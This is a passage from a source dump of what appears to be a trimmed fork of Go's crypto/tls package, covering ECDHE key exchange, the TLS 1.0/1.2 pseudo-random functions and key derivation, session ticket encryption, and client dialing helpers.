resumptionBinderLabel = "res binder" clientHandshakeTrafficLabel = "c hs traffic" serverHandshakeTrafficLabel = "s hs traffic" clientApplicationTrafficLabel = "c ap traffic" serverApplicationTrafficLabel = "s ap traffic" exporterLabel = "exp master" resumptionLabel = "res master" trafficUpdateLabel = "traffic upd" ) // ecdheParameters implements Diffie-Hellman with either NIST curves or X25519, // according to RFC 8446, Section 4.2.8.2. type ecdheParameters interface { CurveID() CurveID PublicKey() []byte SharedKey(peerPublicKey []byte) []byte } func generateECDHEParameters(rand io.Reader, curveID CurveID) (ecdheParameters, error) { if curveID == X25519 { privateKey := make([]byte, curve25519.ScalarSize) if _, err := io.ReadFull(rand, privateKey); err != nil { return nil, err } publicKey, err := curve25519.X25519(privateKey, curve25519.Basepoint) if err != nil { return nil, err } return &x25519Parameters{privateKey: privateKey, publicKey: publicKey}, nil } curve, ok := curveForCurveID(curveID) if !ok { return nil, errors.New("tls: internal error: unsupported curve") } p := &nistParameters{curveID: curveID} var err error p.privateKey, p.x, p.y, err = elliptic.GenerateKey(curve, rand) if err != nil { return nil, err } return p, nil } func curveForCurveID(id CurveID) (elliptic.Curve, bool) { switch id { case CurveP256: return elliptic.P256(), true case CurveP384: return elliptic.P384(), true case CurveP521: return elliptic.P521(), true default: return nil, false } } type nistParameters struct { privateKey []byte x, y *big.Int // public key curveID CurveID } func (p *nistParameters) CurveID() CurveID { return p.curveID } func (p *nistParameters) PublicKey() []byte { curve, _ := curveForCurveID(p.curveID) return elliptic.Marshal(curve, p.x, p.y) } func (p *nistParameters) SharedKey(peerPublicKey []byte) []byte { curve, _ := curveForCurveID(p.curveID) // Unmarshal also checks whether the given point is on the curve. x, y := elliptic.Unmarshal(curve, peerPublicKey) if x == nil { return nil } xShared, _ := curve.ScalarMult(x, y, p.privateKey) sharedKey := make([]byte, (curve.Params().BitSize+7)>>3) xBytes := xShared.Bytes() copy(sharedKey[len(sharedKey)-len(xBytes):], xBytes) return sharedKey } type x25519Parameters struct { privateKey []byte publicKey []byte } func (p *x25519Parameters) CurveID() CurveID { return X25519 } func (p *x25519Parameters) PublicKey() []byte { return p.publicKey[:] } func (p *x25519Parameters) SharedKey(peerPublicKey []byte) []byte { sharedKey, err := curve25519.X25519(p.privateKey, peerPublicKey) if err != nil { return nil } return sharedKey } ================================================ FILE: tls/prf.go ================================================ // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "crypto" "crypto/hmac" "crypto/md5" "crypto/sha1" "crypto/sha256" "crypto/sha512" "errors" "fmt" "hash" ) // Split a premaster secret in two as specified in RFC 4346, Section 5. func splitPreMasterSecret(secret []byte) (s1, s2 []byte) { s1 = secret[0 : (len(secret)+1)/2] s2 = secret[len(secret)/2:] return } // pHash implements the P_hash function, as defined in RFC 4346, Section 5. func pHash(result, secret, seed []byte, hash func() hash.Hash) { h := hmac.New(hash, secret) h.Write(seed) a := h.Sum(nil) j := 0 for j < len(result) { h.Reset() h.Write(a) h.Write(seed) b := h.Sum(nil) copy(result[j:], b) j += len(b) h.Reset() h.Write(a) a = h.Sum(nil) } } // prf10 implements the TLS 1.0 pseudo-random function, as defined in RFC 2246, Section 5. func prf10(result, secret, label, seed []byte) { hashSHA1 := sha1.New hashMD5 := md5.New labelAndSeed := make([]byte, len(label)+len(seed)) copy(labelAndSeed, label) copy(labelAndSeed[len(label):], seed) s1, s2 := splitPreMasterSecret(secret) pHash(result, s1, labelAndSeed, hashMD5) result2 := make([]byte, len(result)) pHash(result2, s2, labelAndSeed, hashSHA1) for i, b := range result2 { result[i] ^= b } } // prf12 implements the TLS 1.2 pseudo-random function, as defined in RFC 5246, Section 5. func prf12(hashFunc func() hash.Hash) func(result, secret, label, seed []byte) { return func(result, secret, label, seed []byte) { labelAndSeed := make([]byte, len(label)+len(seed)) copy(labelAndSeed, label) copy(labelAndSeed[len(label):], seed) pHash(result, secret, labelAndSeed, hashFunc) } } const ( masterSecretLength = 48 // Length of a master secret in TLS 1.1. finishedVerifyLength = 12 // Length of verify_data in a Finished message. ) var masterSecretLabel = []byte("master secret") var keyExpansionLabel = []byte("key expansion") var clientFinishedLabel = []byte("client finished") var serverFinishedLabel = []byte("server finished") func prfAndHashForVersion(version uint16, suite *cipherSuite) (func(result, secret, label, seed []byte), crypto.Hash) { switch version { case VersionTLS10, VersionTLS11: return prf10, crypto.Hash(0) case VersionTLS12: if suite.flags&suiteSHA384 != 0 { return prf12(sha512.New384), crypto.SHA384 } return prf12(sha256.New), crypto.SHA256 default: panic("unknown version") } } func prfForVersion(version uint16, suite *cipherSuite) func(result, secret, label, seed []byte) { prf, _ := prfAndHashForVersion(version, suite) return prf } // masterFromPreMasterSecret generates the master secret from the pre-master // secret. See RFC 5246, Section 8.1. func masterFromPreMasterSecret(version uint16, suite *cipherSuite, preMasterSecret, clientRandom, serverRandom []byte) []byte { seed := make([]byte, 0, len(clientRandom)+len(serverRandom)) seed = append(seed, clientRandom...) seed = append(seed, serverRandom...) masterSecret := make([]byte, masterSecretLength) prfForVersion(version, suite)(masterSecret, preMasterSecret, masterSecretLabel, seed) return masterSecret } // keysFromMasterSecret generates the connection keys from the master // secret, given the lengths of the MAC key, cipher key and IV, as defined in // RFC 2246, Section 6.3. func keysFromMasterSecret(version uint16, suite *cipherSuite, masterSecret, clientRandom, serverRandom []byte, macLen, keyLen, ivLen int) (clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV []byte) { seed := make([]byte, 0, len(serverRandom)+len(clientRandom)) seed = append(seed, serverRandom...) seed = append(seed, clientRandom...) n := 2*macLen + 2*keyLen + 2*ivLen keyMaterial := make([]byte, n) prfForVersion(version, suite)(keyMaterial, masterSecret, keyExpansionLabel, seed) clientMAC = keyMaterial[:macLen] keyMaterial = keyMaterial[macLen:] serverMAC = keyMaterial[:macLen] keyMaterial = keyMaterial[macLen:] clientKey = keyMaterial[:keyLen] keyMaterial = keyMaterial[keyLen:] serverKey = keyMaterial[:keyLen] keyMaterial = keyMaterial[keyLen:] clientIV = keyMaterial[:ivLen] keyMaterial = keyMaterial[ivLen:] serverIV = keyMaterial[:ivLen] return } func newFinishedHash(version uint16, cipherSuite *cipherSuite) finishedHash { var buffer []byte if version >= VersionTLS12 { buffer = []byte{} } prf, hash := prfAndHashForVersion(version, cipherSuite) if hash != 0 { return finishedHash{hash.New(), hash.New(), nil, nil, buffer, version, prf} } return finishedHash{sha1.New(), sha1.New(), md5.New(), md5.New(), buffer, version, prf} } // A finishedHash calculates the hash of a set of handshake messages suitable // for including in a Finished message. type finishedHash struct { client hash.Hash server hash.Hash // Prior to TLS 1.2, an additional MD5 hash is required. clientMD5 hash.Hash serverMD5 hash.Hash // In TLS 1.2, a full buffer is sadly required. buffer []byte version uint16 prf func(result, secret, label, seed []byte) } func (h *finishedHash) Write(msg []byte) (n int, err error) { h.client.Write(msg) h.server.Write(msg) if h.version < VersionTLS12 { h.clientMD5.Write(msg) h.serverMD5.Write(msg) } if h.buffer != nil { h.buffer = append(h.buffer, msg...) } return len(msg), nil } func (h finishedHash) Sum() []byte { if h.version >= VersionTLS12 { return h.client.Sum(nil) } out := make([]byte, 0, md5.Size+sha1.Size) out = h.clientMD5.Sum(out) return h.client.Sum(out) } // clientSum returns the contents of the verify_data member of a client's // Finished message. func (h finishedHash) clientSum(masterSecret []byte) []byte { out := make([]byte, finishedVerifyLength) h.prf(out, masterSecret, clientFinishedLabel, h.Sum()) return out } // serverSum returns the contents of the verify_data member of a server's // Finished message. func (h finishedHash) serverSum(masterSecret []byte) []byte { out := make([]byte, finishedVerifyLength) h.prf(out, masterSecret, serverFinishedLabel, h.Sum()) return out } // hashForClientCertificate returns the handshake messages so far, pre-hashed if // necessary, suitable for signing by a TLS client certificate. func (h finishedHash) hashForClientCertificate(sigType uint8, hashAlg crypto.Hash) []byte { if (h.version >= VersionTLS12 || sigType == signatureEd25519) && h.buffer == nil { panic("tls: handshake hash for a client certificate requested after discarding the handshake buffer") } if sigType == signatureEd25519 { return h.buffer } if h.version >= VersionTLS12 { hash := hashAlg.New() hash.Write(h.buffer) return hash.Sum(nil) } if sigType == signatureECDSA { return h.server.Sum(nil) } return h.Sum() } // discardHandshakeBuffer is called when there is no more need to // buffer the entirety of the handshake messages. func (h *finishedHash) discardHandshakeBuffer() { h.buffer = nil } // noExportedKeyingMaterial is used as a value of // ConnectionState.ekm when renegotiation is enabled and thus // we wish to fail all key-material export requests. func noExportedKeyingMaterial(label string, context []byte, length int) ([]byte, error) { return nil, errors.New("crypto/tls: ExportKeyingMaterial is unavailable when renegotiation is enabled") } // ekmFromMasterSecret generates exported keying material as defined in RFC 5705. func ekmFromMasterSecret(version uint16, suite *cipherSuite, masterSecret, clientRandom, serverRandom []byte) func(string, []byte, int) ([]byte, error) { return func(label string, context []byte, length int) ([]byte, error) { switch label { case "client finished", "server finished", "master secret", "key expansion": // These values are reserved and may not be used. return nil, fmt.Errorf("crypto/tls: reserved ExportKeyingMaterial label: %s", label) } seedLen := len(serverRandom) + len(clientRandom) if context != nil { seedLen += 2 + len(context) } seed := make([]byte, 0, seedLen) seed = append(seed, clientRandom...) seed = append(seed, serverRandom...) if context != nil { if len(context) >= 1<<16 { return nil, fmt.Errorf("crypto/tls: ExportKeyingMaterial context too long") } seed = append(seed, byte(len(context)>>8), byte(len(context))) seed = append(seed, context...) } keyMaterial := make([]byte, length) prfForVersion(version, suite)(keyMaterial, masterSecret, []byte(label), seed) return keyMaterial, nil } } ================================================ FILE: tls/ticket.go ================================================ // Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/hmac" "crypto/sha256" "crypto/subtle" "errors" "io" ) func (c *Conn) encryptTicket(state []byte) ([]byte, error) { encrypted := make([]byte, ticketKeyNameLen+aes.BlockSize+len(state)+sha256.Size) keyName := encrypted[:ticketKeyNameLen] iv := encrypted[ticketKeyNameLen : ticketKeyNameLen+aes.BlockSize] macBytes := encrypted[len(encrypted)-sha256.Size:] if _, err := io.ReadFull(c.config.rand(), iv); err != nil { return nil, err } key := c.config.ticketKeys()[0] copy(keyName, key.keyName[:]) block, err := aes.NewCipher(key.aesKey[:]) if err != nil { return nil, errors.New("tls: failed to create cipher while encrypting ticket: " + err.Error()) } cipher.NewCTR(block, iv).XORKeyStream(encrypted[ticketKeyNameLen+aes.BlockSize:], state) mac := hmac.New(sha256.New, key.hmacKey[:]) mac.Write(encrypted[:len(encrypted)-sha256.Size]) mac.Sum(macBytes[:0]) return encrypted, nil } func (c *Conn) decryptTicket(encrypted []byte) (plaintext []byte, usedOldKey bool) { if len(encrypted) < ticketKeyNameLen+aes.BlockSize+sha256.Size { return nil, false } keyName := encrypted[:ticketKeyNameLen] iv := encrypted[ticketKeyNameLen : ticketKeyNameLen+aes.BlockSize] macBytes := encrypted[len(encrypted)-sha256.Size:] ciphertext := encrypted[ticketKeyNameLen+aes.BlockSize : len(encrypted)-sha256.Size] keys := c.config.ticketKeys() keyIndex := -1 for i, candidateKey := range keys { if bytes.Equal(keyName, candidateKey.keyName[:]) { keyIndex = i break } } if keyIndex == -1 { return nil, false } key := &keys[keyIndex] mac := hmac.New(sha256.New, key.hmacKey[:]) mac.Write(encrypted[:len(encrypted)-sha256.Size]) expected := mac.Sum(nil) if subtle.ConstantTimeCompare(macBytes, expected) != 1 { return nil, false } block, err := aes.NewCipher(key.aesKey[:]) if err != nil { return nil, false } plaintext = make([]byte, len(ciphertext)) cipher.NewCTR(block, iv).XORKeyStream(plaintext, ciphertext) return plaintext, keyIndex > 0 } ================================================ FILE: tls/tls.go ================================================ // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Package tls partially implements TLS 1.2, as specified in RFC 5246, // and TLS 1.3, as specified in RFC 8446. package tls // BUG(agl): The crypto/tls package only implements some countermeasures // against Lucky13 attacks on CBC-mode encryption, and only on SHA1 // variants. See http://www.isg.rhul.ac.uk/tls/TLStiming.pdf and // https://www.imperialviolet.org/2013/02/04/luckythirteen.html. import ( "net" "strings" "time" ) // Client returns a new TLS client side connection // using conn as the underlying transport. // The config cannot be nil: users must set either ServerName or // InsecureSkipVerify in the config. func Client(conn net.Conn, config *Config) *Conn { return &Conn{conn: conn, config: config} } type timeoutError struct{} func (timeoutError) Error() string { return "tls: DialWithDialer timed out" } func (timeoutError) Timeout() bool { return true } func (timeoutError) Temporary() bool { return true } // DialWithDialer connects to the given network address using dialer.Dial and // then initiates a TLS handshake, returning the resulting TLS connection. Any // timeout or deadline given in the dialer apply to connection and TLS // handshake as a whole. // // DialWithDialer interprets a nil configuration as equivalent to the zero // configuration; see the documentation of Config for the defaults. func DialWithDialer(dialer *net.Dialer, network, addr string, config *Config) (*Conn, error) { // We want the Timeout and Deadline values from dialer to cover the // whole process: TCP connection and TLS handshake. This means that we // also need to start our own timers now. timeout := dialer.Timeout if !dialer.Deadline.IsZero() { deadlineTimeout := time.Until(dialer.Deadline) if timeout == 0 || deadlineTimeout < timeout { timeout = deadlineTimeout } } var errChannel chan error if timeout != 0 { errChannel = make(chan error, 2) timer := time.AfterFunc(timeout, func() { errChannel <- timeoutError{} }) defer timer.Stop() } rawConn, err := dialer.Dial(network, addr) if err != nil { return nil, err } colonPos := strings.LastIndex(addr, ":") if colonPos == -1 { colonPos = len(addr) } hostname := addr[:colonPos] if config == nil { config = defaultConfig() } // If no ServerName is set, infer the ServerName // from the hostname we're connecting to. if config.ServerName == "" { // Make a copy to avoid polluting argument or default. c := config.Clone() c.ServerName = hostname config = c } conn := Client(rawConn, config) if timeout == 0 { err = conn.Handshake() } else { go func() { errChannel <- conn.Handshake() }() err = <-errChannel } if err != nil { rawConn.Close() return nil, err } return conn, nil } // Dial connects to the given network address using net.Dial // and then initiates a TLS handshake, returning the resulting // TLS connection. // Dial interprets a nil configuration as equivalent to // the zero configuration; see the documentation of Config // for the defaults. func Dial(network, addr string, config *Config) (*Conn, error) { return DialWithDialer(new(net.Dialer), network, addr, config) }